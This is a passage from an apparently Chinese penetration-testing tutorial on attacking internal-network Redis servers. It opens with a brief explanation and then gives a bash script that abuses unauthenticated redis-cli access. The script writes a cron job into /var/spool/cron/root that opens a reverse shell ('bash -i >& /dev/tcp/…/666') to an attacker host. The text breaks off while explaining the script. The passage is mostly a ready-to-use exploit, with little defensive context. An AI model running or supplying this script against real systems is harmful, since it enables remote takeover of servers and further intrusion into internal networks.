【愚公系列】2023年05月 Web渗透测试之攻击内网Redis

---

前言

Redis的内网渗透是指攻击者利用漏洞或者弱密码进入Redis服务器所在的内网，然后利用Redis服务本身的漏洞或者弱密码拿到Redis服务器的控制权，并继续向内网内的其他计算机和服务发起攻击。这种攻击方式在内部网络防火墙被绕过的情况下非常有效，因此需要加强Redis本身的安全保护措施，并加强内网安全防范措施。

一、本地搭建redis

redis反弹shell的bash脚本

#shell.sh
echo -e "\n\n\n*/1 * * * * bash -i >& /dev/tcp/xxx.xx.xxx.xx/666 0>&1\n\n\n"|redis-cli -h $1 -p $2 -x set 1
redis-cli -h $1 -p $2 config set dir /var/spool/cron/
redis-cli -h $1 -p $2 config set dbfilename root
redis-cli -h $1 -p $2 save
redis-cli -h $1 -p $2 quit

在redis的第0个数据库中添加key为1，value为\n\n\n*/1 * * * * bash -i >& /dev/tcp/xxx.xx.x